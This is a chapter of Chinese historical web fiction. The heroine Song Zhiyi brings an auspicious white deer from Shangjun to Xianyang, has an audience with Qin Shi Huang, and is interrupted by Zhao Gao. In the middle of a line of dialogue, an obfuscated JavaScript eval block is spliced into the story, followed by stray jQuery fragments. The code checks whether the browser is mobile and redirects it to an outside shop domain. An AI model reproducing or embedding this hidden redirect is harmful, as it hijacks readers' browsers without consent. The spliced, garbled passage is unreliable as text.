上郡的天刚蒙蒙亮,灰白色的晨光从城头倾泻下来,把整条官道镀了一层冷冽的银灰。蒙恬站在扶苏旁边,手里拎着一个小包裹,递给宋知意。
“公子给的,想着姑娘打点事情需要钱财。”蒙恬把包裹递给她,“路上小心。”
宋知意接过来朝他笑了一下:“多谢蒙将军,上郡这边就拜托您了。”
蒙恬应了一声。
她走到一匹马拉着的笼子旁边,掀开罩着的丝绸,露出里面的一只白鹿。纯白色的皮毛,蜷成一团,四条细腿蹬着,眼睛又大又圆,黑漆漆地看着外面。
秦朝有“献祥瑞”的传统,地方出现罕见的瑞兽、奇花、异象,要上报朝廷。故而宋知意让人在全国传开消息,上郡空中突现七彩霞光,发现了一头祥瑞白鹿。
与此同时,宋知意预备打着“精通天象、预知吉凶”的旗号,以方士的身份进京。扶苏已经在奏报里禀告“上郡得异人,通阴阳,晓天象”,秦始皇大概率会召见。
就算有赵高从中作梗,秦始皇看不到奏报也不怕。宋知意亦是送祥瑞的使者,由大帮人马护送,风风光光进京给皇帝献宝。这行程人尽皆知,赵高必定不敢在路上动手脚,等到见了秦始皇,她再徐徐谋之也不迟。
她放下丝绸,遮住白鹿,回头忘了扶苏一眼。自从两人互剖心意后,他便总是很不好意思看她,不自觉躲闪她的目光。
“人身安危不用担心,我给你安排的都是高手。若是不想待了,就及时回来。”见她要走了,扶苏心里涌上一阵怅然若失,顾不得害羞了,用眼睛细细描摹着她的模样。
“我知道的,”宋知意爽朗一笑,上了轿子,“公子,等我好消息!”
咸阳的城墙比上郡高出一倍不止。
宋知意掀开轿帘,远远看到灰黄色的巨墙横亘在天际线上,像一条蛰伏的巨龙的脊背。墙头旌旗猎猎,城门处车马如织,进进出出的人流比上郡街市最热闹的时候还稠密。
城门处的守卒拦住了队伍,例行盘问。侍卫递上一卷公文,上面盖着上郡守备府的印,写着“上郡监军公子扶苏遣使献祥瑞于朝,祥瑞使者一名,白鹿一头,随行护卫二十人”。
守卒看到“公子扶苏”四个字,脸色顿时恭敬许多,立即放行:“大人,请。”
城里的街市比她想象的宽阔,主道可以并行四辆马车,路面铺着青石板,被无数脚步和车轮磨得光滑发亮。两旁店铺鳞次栉比,酒肆、布庄、铁铺、食摊,招牌幌子在风里飘摇。行人比上郡穿得体面些,也有穿丝绸的富人走过,身后跟着小厮。但更多的人还是褐衣布衫,面色匆匆。
“大人,”宋一在车外低声说,“前面就是礼宾署了,献祥瑞要先到礼宾署登记,他们会安排觐见。”
这二十个护卫是扶苏直接送给她的,重新起了名,从宋一到宋二十。
马车在一处灰墙黑瓦的官署前停住,宋知意下了车,抱出白鹿。门口站着两个穿皂衣的小吏,看到宋知意怀里那头幼鹿,对视了一眼,其中一人快步进去通报了。
不一会儿,一个四十来岁蓄着山羊胡的官员迎了出来,穿着深绿色的官袍,腰悬铜印。他在台阶上站定,对她拱了拱手。
“在下礼宾署丞赵平。”
宋知意从袖中取出那卷公文递过去,声音稳当:“上郡监军公子扶苏遣使献祥瑞于朝。祥瑞使者宋知意,携白鹿一头,特来登记入册。”
赵平接过公文展开看完,和声细语道:“原来是宋大人。献祥瑞需经内廷核准,再安排觐见。请大人先在馆驿歇下,待宫中传召。”
他示意了一下旁边的侧门,一个小吏跑过来引路。宋知意跟着往侧门走的时候,赵平在她身后补了一句:“陛下近来身子欠安,未必会即刻召见,大人安心等着便是。”
宋知意脚步没停,点了点头:“多谢赵大人。”
到了馆驿,宋知意把白鹿放在榻上,自己也坐了下来,逗着它玩。
过了不久,馆驿外面传来一阵急促的马蹄声。宋知意正蹲在地上喂白鹿喝水,听到有人敲门,让宋一去开了。门外站着一个小黄门,穿着宫中内侍的青色袍服,手里捧着一卷帛书,看到宋知意的第一时间微微躬身。
“宋大人?”
“我是。”
“陛下口谕,”小黄门的声音尖细但利落,“献祥瑞者宋知意,即刻入宫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17821592|211129||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
觐见。”
宋知意的心跳猛地蹿上来,但面上没有露怯。她抱起草榻上的白鹿,跟着小黄门出了馆驿。
上了一辆蒙着青布帷的马车,马车在暮色里穿行。咸阳宫比宋知意想象的近,马车大约走了一炷香的功夫就停了。她掀帘下来,眼前是一座巍峨的宫门,朱红色的大门敞开着,门内是一条笔直的甬道,两侧立着持戟的甲士,目不斜视。
小黄门引着她往里走,她抱着白鹿,脚步尽量放稳。白鹿有些不安,脑袋在她臂弯里拱来拱去,她轻轻拍了拍它的后背,小声说:“不怕不怕。”
说完她恍惚了一瞬,觉得这四个字怎么如此熟悉。
甬道走到尽头,是一座大殿。殿内灯火通明,铜灯架上燃着十几盏油灯,把殿内照得亮如白昼。殿中央坐着一个穿着黑色深衣的老人,头发灰白,身形高大,眉骨高耸,眼窝深陷,目光从她的脸落到她怀里的白鹿身上,带着一种睥睨天下的审视。
秦始皇。
宋知意在心里叫出了这个名字,然后跪下来,双手捧起白鹿放在面前的青砖上,伏身叩首。
“臣女宋知意,参见陛下。”
“平身吧。”
她缓缓直起身。
秦始皇居高临下地看着她:“扶苏从哪里得来这只白鹿?”
“回陛下。公子在上郡以北的猎场巡狩,见空中陡现七彩霞光,循迹而去,发现此鹿卧于雪中。白鹿通体纯白,额间有浅色斑纹,状如云纹,四蹄踏雪无声,见人不避,徘徊不去,以为祥瑞。特命臣女奉送陛下。”
“把鹿送到御苑养着,好生照看。”旁边的小黄门应声上前。
“陛下且慢!”
一个声音从殿侧传来,尖细却不高亢,像一根绷紧的弦被轻轻拨了一下。宋知意下意识循声望去,看到殿柱旁的阴影里走出一个人,中等身材,面白无须,约莫五十岁上下,穿着深褐色的内侍袍服,腰间悬着一串铜钥。他的步伐很轻,靴底踩在地上几乎没声。
宋知意心里“咯噔”一下。
这个年纪,这个穿着,敢在面圣时高喊“且慢”的宦官,整个大秦只有一个人。
赵高。